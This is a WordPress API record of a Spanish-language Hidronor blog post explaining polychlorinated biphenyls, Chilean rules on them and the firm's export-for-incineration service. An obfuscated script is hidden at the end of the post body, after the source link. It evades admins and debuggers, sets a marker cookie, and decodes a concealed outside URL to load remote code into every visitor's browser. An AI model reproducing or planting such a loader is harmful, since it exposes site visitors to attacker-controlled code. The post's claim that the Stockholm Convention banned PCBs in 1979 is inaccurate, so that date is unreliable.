{"id":4268,"date":"2018-01-22T17:17:50","date_gmt":"2018-01-22T21:17:50","guid":{"rendered":"http:\/\/www.hidronor.cl\/?p=4268"},"modified":"2026-01-20T14:05:20","modified_gmt":"2026-01-20T18:05:20","slug":"los-bifenilos-policlorados","status":"publish","type":"post","link":"https:\/\/www.hidronor.cl\/en\/los-bifenilos-policlorados\/","title":{"rendered":"What are polychlorinated biphenyls?"},"content":{"rendered":"<p>Publicada el 22 de enero del 2018.-<\/p>\n<p>Los bifenilos policlorados o PCB\u2019s (por su denominaci\u00f3n en ingl\u00e9s: Polychlorinated Byphenyl) son un grupo de compuestos org\u00e1nicos sint\u00e9ticos formados por dos anillos benc\u00e9nicos unidos entre s\u00ed, cuyos sustituyentes pueden incluir uno o m\u00e1s \u00e1tomos de cloro. Los bifenilos policlorados poseen baja inflamabilidad, alta temperatura de ebullici\u00f3n y excelentes propiedades de aislaci\u00f3n el\u00e9ctrica. Su consistencia puede variar desde l\u00edquidos oleosos a s\u00f3lidos cerosos y sus colores van desde amarillo claro hasta negro. Debido a sus caracter\u00edsticas f\u00edsicas los PCB\u2019s tuvieron una gran diversidad de aplicaciones, la mayor\u00eda de ellas como aislantes t\u00e9rmicos y el\u00e9ctricos, adem\u00e1s de aditivos para pl\u00e1sticos, pinturas y otros materiales de construcci\u00f3n.<\/p>\n<p>La producci\u00f3n de bifenilos policlorados fue prohibida en 1979 por la Convenci\u00f3n de Estocolmo sobre Compuestos Org\u00e1nicos Persistentes, luego de demostrarse los efectos que estos tienen sobre la salud y el medio ambiente. Sin embargo, debido a su gran estabilidad qu\u00edmica a\u00fan es posible encontrar este tipo de compuestos en uso, principalmente como aislantes t\u00e9rmicos en transformadores el\u00e9ctricos.<br \/>\nActualmente la regulaci\u00f3n chilena (D.S. 148\/2004 MINSAL) considera a los bifenilos policlorados como residuos peligrosos. Adem\u00e1s, el mismo reglamento impide la eliminaci\u00f3n de estos residuos en rellenos de seguridad, no existiendo una alternativa de tratamiento para estos residuos dentro del territorio nacional.<\/p>\n<p>Hidronor entrega una soluci\u00f3n a la disposici\u00f3n de PCB\u2019s a trav\u00e9s de la exportaci\u00f3n autorizada de estos residuos a Europa, los cuales son incinerados en hornos especializados a altas temperaturas con control de gases y un tiempo de residencia tal que asegura el 99.999% de la eliminaci\u00f3n que fija la normativa internacional para los compuestos org\u00e1nico persistentes, asegurando el cuidado de las personas y el medio ambiente.<\/p>\n<p><em>Fuente:<\/em><a href=\"http:\/\/bit.ly\/2vYChVv\"><em>http:\/\/bit.ly\/2vYChVv<\/em><\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicada el 22 de enero del 2018.- Los bifenilos policlorados o PCB\u2019s (por su denominaci\u00f3n en ingl\u00e9s: Polychlorinated Byphenyl) son un grupo de compuestos org\u00e1nicos sint\u00e9ticos formados por dos anillos benc\u00e9nicos unidos entre s\u00ed, cuyos sustituyentes pueden incluir uno o m\u00e1s \u00e1tomos de cloro. Los bifenilos policlorados poseen baja inflamabilidad, alta temperatura de ebullici\u00f3n y [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":4269,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[3,4],"tags":[],"class_list":["post-4268","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-datos-practicos","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u00bfQu\u00e9 son los bifenilos policlorados? - Hidronor<\/title>\n<meta name=\"description\" content=\"\u00bfQu\u00e9 son los bifenilos policlorados? . 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